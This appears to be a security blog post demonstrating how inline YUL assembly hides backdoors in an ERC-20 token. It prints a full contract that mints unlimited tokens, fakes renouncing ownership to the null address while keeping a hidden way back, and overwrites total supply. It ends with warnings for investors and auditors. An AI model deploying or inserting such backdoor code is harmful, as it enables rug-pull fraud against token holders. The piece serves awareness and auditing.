Tricking the Blockchain: Manipulating Contracts Using YUL
Below, we delve into three specific manipulations of my malicious blockchain contract, explaining how YUL facilitates direct control over Ethereum’s storage model. We'll conclude by analyzing the implications of these techniques.
Understanding YUL's Role in Blockchain Manipulation
YUL allows developers to interact with the Ethereum Virtual Machine (EVM) at a low level, providing tools to directly manipulate storage and execute operations efficiently. By bypassing the abstraction provided by Solidity, YUL can directly read and write to storage slots, enabling fine-grained control over contract behavior.
At its core:
- Ethereum stores contract data in a key-value structure called storage slots.
- Solidity-generated code maps these slots to variables, ensuring abstraction.
- YUL bypasses this abstraction, letting developers operate directly on storage.
This is the storage layout of my malicious contract:
This blog presents three proofs of concept showcasing how to exploit this capability.
1. Manipulating the Mint Function
Objective
Override the balance of our account to mint tokens directly, ignoring supply constraints or contract logic. This enables us to mint unlimited tokens, even bypassing a predefined max supply.
How It Works
ERC-20 tokens use a mapping (_balances
) to track user balances. By calculating the correct storage slot hash for a specific user and writing to it, we can directly update their balance.
Code
function manipulateMint(uint256 amount) public onlyOwner {
assembly {
mstore(0x00, caller()) // Load the caller's address
mstore(0x20, 0) // Set _balances slot index
let balancesHash := keccak256(0x00, 0x40) // Compute storage slot for caller
sstore(balancesHash, amount) // Update balance in storage
}
}
Explanation
-
Storage Slot Computation:
- Solidity maps mappings (
_balances
) by hashing the key (address) with the base storage slot. keccak256(abi.encodePacked(key, slot))
computes the location.
- Solidity maps mappings (
-
Direct Storage Update:
- Using
sstore
, the calculated slot is updated with the specified token balance.
- Using
Impact
The owner can mint unlimited tokens, even bypassing a predefined max supply.
2. Manipulating Ownership
Objective
Transfer ownership to the null address (0x0
), appearing to relinquish control while secretly retaining it. This creates an illusion of decentralization.
How It Works
The ownershipToNullAddress
function assigns ownership to 0x0
but saves the original owner's address. Later, ownership can be reclaimed by invoking updateOwnerToOldOwner
.
Code
function ownershipToNullAddress() public onlyOwner {
oldOwner = owner; // Save the current owner
owner = address(0); // Set owner to null address
}
function updateOwnerToOldOwner() external {
require(msg.sender == oldOwner, "Only Old Owner"); // Validate the caller
assembly {
let ownerSlot := 5 // Slot where `owner` is stored
let oldOwnerSlot := 6 // Slot where `oldOwner` is stored
let oldOwnerValue := sload(oldOwnerSlot) // Retrieve old owner
sstore(ownerSlot, oldOwnerValue) // Restore ownership
sstore(oldOwnerSlot, 0x00) // Clear the old owner
}
}
Explanation
-
Ownership Nullification:
- The
owner
is set to0x0
, creating an appearance of relinquishment.
- The
-
Reclaiming Ownership:
- Storage slots for
owner
andoldOwner
are manually updated via YUL. sstore
restores the original owner and clears sensitive traces.
- Storage slots for
Impact
This enables the original owner to reclaim control surreptitiously, misleading users about the contract’s decentralization.
- First we set the owner to the null address:
Observe the owner is now the null address.
- Then we set the owner back to the original owner with the
updateOwnerToOldOwner
function: tx id: 0x289b59fb3507baeb3104c39716ad2eaa436ae5f47203c28a255fef309f3f8513
3. Inflating and Deflating Total Supply
Objective
Directly modify the totalSupply
variable to inflate the token supply arbitrarily, destabilizing token economics.
How It Works
ERC-20 contracts typically store totalSupply
in a specific slot. By directly writing to this slot using sstore
, we can assign an arbitrary value.
Code
function manipulateTotalSupply(uint256 amount) public onlyOwner {
assembly {
sstore(2, amount) // Directly set totalSupply storage slot
}
}
Explanation
-
Storage Slot Targeting:
- The
totalSupply
variable in this example is stored in slot2
. - By directly overwriting this slot, the token supply can be manipulated.
- The
-
Bypassing Constraints:
- No checks or validations from Solidity are enforced due to the direct manipulation.
Impact
Such inflation undermines trust in the token's value and economic stability.
Understanding the Full Contract
Here’s the complete contract, integrating these manipulations for demonstration:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "openzeppelin/contracts/token/ERC20/ERC20.sol";
contract BypassToken is ERC20 {
address public owner;
address public oldOwner;
modifier onlyOwner() {
require(msg.sender == owner, "Only Owner");
_;
}
constructor() ERC20("BypassToken", "BTK") {
_mint(msg.sender, 5000 * (10 ** decimals()));
owner = msg.sender;
}
function manipulateMint(uint256 amount) public onlyOwner {
assembly {
mstore(0x00, caller())
mstore(0x20, 0)
let balancesHash := keccak256(0x00, 0x40)
sstore(balancesHash, amount)
}
}
function ownershipToNullAddress() public onlyOwner {
oldOwner = owner;
owner = address(0);
}
function updateOwnerToOldOwner() external {
require(msg.sender == oldOwner, "Only Old Owner");
assembly {
let ownerSlot := 5
let oldOwnerSlot := 6
let oldOwnerValue := sload(oldOwnerSlot)
sstore(ownerSlot, oldOwnerValue)
sstore(oldOwnerSlot, 0x00)
}
}
function manipulateTotalSupply(uint256 amount) public onlyOwner {
assembly {
sstore(2, amount)
}
}
}
By understanding YUL's low-level operations and the EVM's storage model, we've demonstrated how contracts can be manipulated to bypass security checks. This highlights a critical security concern:
IMPORTANT:
- Popular contract scanners and security tools may fail to detect these low-level manipulations
- A contract appearing "safe" on security scanners is not a guarantee of its trustworthiness
- Always review the complete source code, including assembly-level operations
- Be extremely cautious when investing in or interacting with smart contracts, even those that pass automated security checks
- If you can't fully understand the contract's code or don't have access to it, consider it potentially malicious
Remember: The techniques demonstrated in this article can be used maliciously to create seemingly safe contracts that actually contain hidden backdoors and vulnerabilities. Your funds could be at risk.
- Inspired by my colleague and friend: @Zer0ps
- Check his storage explorer: Solidity Storage Explorer
- Let my check your contract trough my company: Chain Hunters